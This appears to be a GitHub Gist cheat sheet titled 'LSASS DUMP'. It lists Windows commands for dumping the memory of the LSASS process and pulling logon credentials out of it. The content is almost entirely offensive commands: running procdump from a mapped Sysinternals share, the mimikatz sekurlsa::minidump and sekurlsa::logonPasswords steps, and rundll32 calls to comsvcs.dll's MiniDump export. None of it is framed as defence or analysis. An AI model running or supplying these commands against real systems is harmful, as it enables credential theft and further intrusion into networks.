Last active
February 18, 2020 06:29
-
-
Save ffcommax/ba8682229e45178aef8be4a2ddb22d08 to your computer and use it in GitHub Desktop.
LSASS DUMP
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| net use Z: https://live.sysinternals.com | |
| Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp | |
| sekurlsa::minidump lsass.dmp | |
| sekurlsa::logonPasswords | |
| ******************************* | |
| Dump LSASS with rundll32 | |
| rundll32.exe C:\Windows\System32\comsvcs.dll #24 "<PID> lsass.dmp full" | |
| rundll32.exe comsvcs.dll #24 "<PID> lsass.dmp full" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment